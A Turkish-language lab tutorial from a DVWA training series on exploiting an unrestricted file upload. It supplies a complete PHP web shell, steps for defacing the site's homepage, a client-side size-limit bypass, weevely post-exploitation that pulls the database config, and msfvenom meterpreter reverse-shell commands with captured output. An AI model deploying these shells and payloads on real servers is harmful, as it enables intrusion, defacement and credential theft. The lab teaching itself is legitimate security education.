Ders 11 - File Upload (Low Level) | ||||||||||||||||||||
Bu yazıda DVWA adlı web uygulamasının içerisinde bulunan bir sayfanın güvenlik zafiyetinden faydalanarak File Upload yoluyla saldırıda bulunulacaktır.
Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten bu yazının ilintili olduğu dvwa eğitim serisindeki diğer makalelere ise şu adreslerden erişebilirsiniz. Dersin HedefiHedefiniz DVWA'nın anasayfasını hack'lemektir.File Upload Nedir?File Upload herkesin tahmin edebileceği gibi dosyaların arayüzdeki butonlar aracılığıyla uzak sisteme transfer edilmesi işlemine denir.File Upload ile Nasıl Site Hack'lenir?Bir php dosyası oluşturun. Mesela adına shell.php deyin. Ardından aşağıdaki kodları shell.php dosyasına kaydedin:<form action="" method="GET" encytype="application/x-www-form-urlencoded"> <table style="margin-left:auto; margin-right:auto;"> <tr> <td colspan="2">Lütfen bir sistem komutu girin</td> </tr> <tr><td></td></tr> <tr> <td>Komut</td> <td> <input type="text" name="pCommand" size="50"/> </td> </tr> <tr> <td></td> </tr> <tr> <td colspan="2" style="text-align:center;"> <input type="submit" value="Komutu Çalıştır"/> </td> </tr> </table> </form> <?php echo ""; echo shell_exec(@$_REQUEST["pCommand"]); echo ""; ?> Ardından DVWA'nın File Upload sayfasından shell.php'iyi sisteme yükleyin. Yüklediğinizde şöyle bir bildirimle karşılaşacaksınız: ![]() Kırmızı bildirimde görebileceğiniz üzere upload'ladığınız dosyanın bulunduğu link ifade edilmiş. O linke göre bulunduğumuz dizinin 2 kademe yukarısına çıkıp oradan hackable klasörüne sapıp oradan uploads'a geçerek upload'ladığımız dosyaya tarayıcı üzerinden erişebiliriz. Şimdi öyle yapalım. Bulunduğumuz dizin şudur: http://localhost/dvwa/vulnerabilities/upload/# İki kademe yukarı çıkarsak link şu olur: http://localhost/dvwa/# Ardından /hackable/uploads dizinine dallanalım: http://localhost/dvwa/hackable/uploads/ Böylelikle upload'ladığımız shell.php dosyasının hedef sistemde bulunduğu dizine ulaşmış oluruz. Gerçek bir hack işlemi sırasında upload'lanan dosyanın yeri site tarafından kullanıcıya genellikle bildirilmez. Bu durumda saldırganın işi güçleşir. Fakat bir web sitesi düşünelim. Bu web sitesinde son kullanıcı resim upload'layabiliyor olsun. Saldırgan bu mekanizmanın yüklediği dosyaların nereye yüklendiğini öğrenebilmek için deneme maksadıya bir resim yükleyip web sitesinde resmi teşhir edildiği yere geçebilir ve görüntülenen resmin linkini sağ tık ile alarak upload'lanan dosyaların nereye gittiğini öğrenebilir. Şimdi yüklediğimiz shell dosyasını görüntülemek için aşağıdaki linki tarayıcınıza girin: http://localhost/dvwa/hackable/uploads/shell.php Ekrana şöyle bir çıktı gelecektir: ![]() Ekrandaki metin kutusuna gireceğiniz her bir Terminal/CMD komutu hedef sistem üzerinde çalıştırılacaktır ve dönen yanıt ekrana echo komutu ile basılacaktır. Hedef sistemin Linux bir sistem olduğunu varsayalım ve web sitenin anasayfasını bulmak maksadıyla keşif mahiyetinde bazı kodlar girelim. Ardından çıktılara göz atalım: ![]() Girilen Komut: ls shell.php dosyasının bulunduğu dizindeki dosyaların isimlerini ls komutu ile sıraladık. Şimdi bir üst dizine çıkıp üst dizindeki dosyaların isimlerini sıralayalım: ![]() Girilen Komut: cd ..; ls cd .. komutu sayesinde bir üst dizine çıktık. ls komutu ile de bulunulan dizindeki dosyaları sıraladık. .Şimdi bir üst dizine daha geçerek orada yer alan dosyaları sıralayalım: ![]() Girilen Komut: cd ..; cd ..; ls Resimdeki seçili dosya isminden görebileceğiniz üzere DVWA'nın anasayfa dosyasını tespit ettik. Şimdi bu sayfaya Hacked By Falan Filan diyerek sayfayı hack'leyelim. NOT: Aşağıdaki işlemi yapmadan önce DVWA klasörünüz içindeki index.php'nin bir yedeğini alın. Çünkü içeriğini silip Hacked By Falan Filan yazacağız. İşimiz bittiğinde eski haline döndürmek için yedeği kullanabilirsiniz. shell.php'deki metin kutusuna aşağıdaki kodu girin: cd ..; cd ..; echo "<font color=red><center><h1>Hacked By Falan Filan</h1></center></font><br>" > index.php Komutu çalıştır dediğiniz an anasayfa hack'lenmiş olur. Kontrol etmek için DVWA'nın anasayfasına geçiş yapın: http://localhost/dvwa/index.php Linke gittiğiniz takdirde sayfanın hack'lendiğine dair bildirimi görebilirsiniz: ![]() Saldırı kodunda öncelikle iki kademe üst dizine çıkılmıştır. Böylelikle index.php'nin olduğu dizine geçilmiştir. Ardından echo komutu ile bir çıktı üretilmiştir. Oluşturulan bu çıktı echo'nun sağında yer alan > operatörü ile index.php dosyasının üzerine yazılmıştır (echo komutu tıpkı PHP'deki echo komutu gibi çıktı vermeye yarar). Sayfaya metin eklenebildiği gibi resim, video da eklenebilir. Resim ve video için yapılması gereken şey yukarıdaki girilen saldırı kodunda yer alan echo'dan sonraki tırnakların içine ilgili resmin ya da video'nun linkini html olarak koymaktır. SonuçKısıtlanmamış bir upload mekanizması yüzünden bir site kolaylıkla hack'lenebilir. Bu tip saldırılara maruz kalmamak için kabul edilecek dosya uzantıları şeklinde PHP gibi bir dille kural oluşturulmalıdır. Kuralın dışında kalan dosyaların sunucuya yüklenmesi engellenmelidir.Ekstra [Web Shell - C99.php]Bu derste shell.php adlı dosyanın sunduğu arayüz ile bir sayfa hack'lemiş olduk. Dikkat ederseniz bu dosya adına shell dendi. Daha doğru tabirle web shell. Bunun bir nedeni var. Literatürde shell dosyaları diye geçer bu tip işleve sahip dosyalar. Yani hedef sunucu üzerinde komut çalıştırmamızı sağlayan dosyalara shell denmektedir. PHP dünyasında popüler olarak bilinen shell dosyaları c99.php ve r57.php dosyalarıdır. Bunlar yaklaşık 3000 satırlık koda sahiptir ve yukarıdaki kullandığımız basit shell dosyasına nazaran elle gireceğiniz birçok komut kodları yerine kısayol seçenekleriyle aynı işlemleri yapabilmenizi sağlar. Örneğin yukarıdaki shell.php dosyasını değil de c99.php'yi upload'lasaydınız tarayıcıdan c99.php'ye eriştiğinizde aşağıdaki gibi bir arayüz sizi karşılıyor olurdu:![]() [!] Uyarı:c99.php shell dosyası çok fazla sayıda satır sayısına sahip olduğundan ve hedef dosya upload mekanizmasında bir dosya boyutu sınırlaması olduğundan upload'lama girişiminiz başarısız olacaktır. Fakat dosya boyut denetlemesi istemci taraflı yapılmakta olduğundan html kaynak koddaki form alanında, upload'layacağınız dosya ile beraber göndereceğiniz web uygulama dosya boyut limiti değerini elle değiştirebilir ve limiti arttırarak veya komple silerek sunucu kuralını atlatabilirsiniz. Böylece yukarıdaki c99.php dosyasını web sunucuya yükleyebilirsiniz.![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() c99 bir kontrol panelini andırıyor değil mi? :) Sayfa hack'lemek için bu derste kullandığımız sistem komutlarını kullanmadan c99.php'nin sunduğu arayüzden anasayfayı hack'lemeniz mümkündür. c99.php sistem komutlarını arkaplanda sizin yerinize yapmaktadır. Hepsi bu kadar. Ekstra 2 [Reverse Shell - Weevely]Weevely tool'u ile özel hazırlanmış bir web shell oluşturabilir, file upload saldırısı ile hedef sisteme yükleyebilir ve hedef sistemde reverse shell alabiliriz. Adımlar şu şekildedir:Gereksinimler
1. Saldırgan weevely aracı ile bir post-exploitation agent'ı oluşturur.
Kali Linux Terminal:
weevely generate password123 agent.php // agent.php oluşur. ![]() 2. Saldırgan hedef web uygulama dvwa'nın file upload zafiyeti yoluyla agent'ını web sunucuya upload'lar.
Kali Linux - Web Browser:
[UPLOAD] agent.php ![]() ![]() ![]() 3. Saldırgan weevely aracı ile hedef web sunucudaki agent'ına bağlanır ve shell oturumu alır.
Kali Linux Terminal:
weevely http://DVWA_WEB_SERVER_IP/dvwa/hackable/uploads/agent.php password123 [+] weevely 4.0.1 [+] Target: 192.168.56.136 [+] Session: /root/.weevely/sessions/192.168.56.136/agent_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> ![]() 4. Saldırgan shell komutları çalıştırabilir.
Kali Linux Terminal:
weevely> whoami www-data www-data@iktestmakinesi:/var/www/dvwa/hackable/uploads $ hostname iktestmakinesi www-data@iktestmakinesi:/var/www/dvwa/hackable/uploads $ uname -a Linux iktestmakinesi 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux www-data@iktestmakinesi:/var/www/dvwa/hackable/uploads $ ![]() 5. Saldırgan agent ile post-exploitation için yapılabilecekleri şu şekilde listeler:
Kali Linux Terminal:
www-data@iktestmakinesi:/var/www/dvwa/hackable/uploads $ :help ![]() 6. Örneğin post-exploitation olarak hedef web sunucudaki bir dosyanın kaynak kodlarını okuyalım.
Kali Linux Terminal:
www-data@iktestmakinesi:/var/www/dvwa/hackable/uploads $ ls abc.php agent.php dvwa_email.png www-data@iktestmakinesi:/var/www/dvwa/hackable/uploads $ cd ../../ www-data@iktestmakinesi:/var/www/dvwa/ $ ls ... index.php ... www-data@iktestmakinesi:/var/www/dvwa/ $ cat index.php ((( kaynak kodlar ))) ![]() 7. Örneğin post-exploitation olarak hedef web sunucudaki bir dosyayı yerel (saldırgan) sisteme indirelim
Kali Linux Terminal:
www-data@iktestmakinesi:/var/www/dvwa/ $ :file_download index.php /root/Desktop/index.php (( Kali masaüstüne index.php iner ))) ![]() ![]() 8. Örneğin post-exploitation olarak hedef web sunucudaki konfigürasyon dosyasını indirelim.
Kali Linux Terminal:
www-data@iktestmakinesi:/var/www/dvwa/ $ cd config/ www-data@iktestmakinesi:/var/www/dvwa/config/ $ ls config.inc.php www-data@iktestmakinesi:/var/www/dvwa/config/ $ :file_download config.inc.php /root/Desktop/config.inc.php (( Konfigürasyon dosyası iner. İçeriği okunarak veritabanı credential'ları alınabilir ve veritabanına atlama gerçekleş tirilebilir )) ![]() ![]() Ekstra 3 [Reverse Shell - Msfvenom]Msfvenom tool'u ile özel hazırlanmış bir web shell oluşturabilir, file upload saldırısı yoluyla hedef sisteme yükleyebilir ve hedef sistemde reverse shell alabiliriz. Adımlar şu şekildedir:Gereksinimler
1. Saldırgan önce payload'u oluşturur:
Kali Linux VM Terminal #1:
msfvenom -l payloads | grep php msfvenom -p php/meterpreter/reverse_tcp lhost=KALI_IP_ADDRESS lport=4444 -f raw > exploit.php ![]() ![]() ![]() 2. Saldırgan ardından dinleme moduna geçer.
Kali Linux VM Terminal #2:
msfconsole msf6> use exploit/multi/handler msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost KALI_IP_ADDRESS msf6 exploit(multi/handler) > run ![]() 3. Saldırgan ardından exploit.php payload'unu file upload zafiyeti yoluyla hedef web sunucuya upload'lar.
Kali Linux - Web Browser:
[UPLOAD] exploit.php ![]() ![]() ![]() 4. Saldırgan ardından exploit.php payload'unu hedef web sunucuda tetikler.
Kali Linux - Web Browser:
http://DVWA_WEB_SERVER_IP/dvwa/hackable/uploads/exploit.php ![]() 5. Böylece reverse tcp session multi/handler a gelir.
Kali Linux - Terminal #2:
msf6 exploit(multi/handler) > [*] Started reverse TCP handler on 192.168.56.134:4444 [*] Sending stage (39282 bytes) to 192.168.56.136 [*] Meterpreter session 1 opened (192.168.56.134:4444 -> 192.168.56.136:59185 ) at 2025-03-20 00:20:41 +0300 meterpreter > ![]() Artık içerdeyiz. Yararlanılan Kaynak:
|
||||||||||||||||||||
![]() |
||||||||||||||||||||
|
||||||||||||||||||||
Yorumlar |
||||||||||||||||||||
|
||||||||||||||||||||
|
||||||||||||||||||||
|
||||||||||||||||||||
Yorum Ekle | ||||||||||||||||||||